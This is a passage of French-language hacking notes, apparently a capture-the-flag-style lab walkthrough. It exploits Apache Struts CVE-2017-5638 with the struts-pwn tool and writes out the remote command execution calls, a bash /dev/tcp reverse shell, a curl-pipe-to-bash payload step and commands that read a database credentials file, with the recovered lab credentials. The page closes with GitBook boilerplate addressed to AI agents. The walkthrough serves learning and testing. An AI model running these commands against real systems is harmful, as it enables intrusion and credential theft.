> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/apache-struts-exploitation-.action.md).

# Apache Struts

## Exploitation d'Apache Struts (CVE-2017-5638)

#### **Surveillance de l’énumération de répertoires**

Lors de l’inscription, l’application renvoie une erreur. L’ `.action` extension suggère une application Apache Struts.

<figure><img src="/files/35b3c9cea43bb32593d81a9c7ddc9a5fb4f8eed6" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Utilisez `struts-pwn.py` pour tester l'exécution de commandes à distance :

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

La commande fonctionne, confirmant la vulnérabilité.

<figure><img src="/files/89494a4b97da3f2c1333317d5c6f07cfdba7257c" alt=""><figcaption></figcaption></figure>

#### **Shell inversé**

1. Configurez un écouteur Netcat :

```bash
nc -nvlp 443
```

2. Créer un `index.html` fichier contenant le shell inversé :

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Hébergez le fichier avec un serveur web Python :

```
python3 -m http.server 8080
```

4. Exécutez le shell inversé via l’exploit :

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

Malheureusement, cette approche échoue.

### **Extraction d'informations sensibles**

Listez les fichiers sur le serveur :

<figure><img src="/files/4cc561fa78dc9f48d5c8e58937e035227c464066" alt=""><figcaption></figcaption></figure>

Le `db_connect` fichier contient des identifiants :

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="/files/392b0ccf92438de69adccbdccc3477de4cd63b3c" alt=""><figcaption></figcaption></figure>

Identifiants MySQL récupérés :

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="/files/bf6649b1e61b1b4894b34740b8a5491cd4077cc3" alt=""><figcaption></figcaption></figure>

### Extraction d’informations - mysqlshow


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/apache-struts-exploitation-.action.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
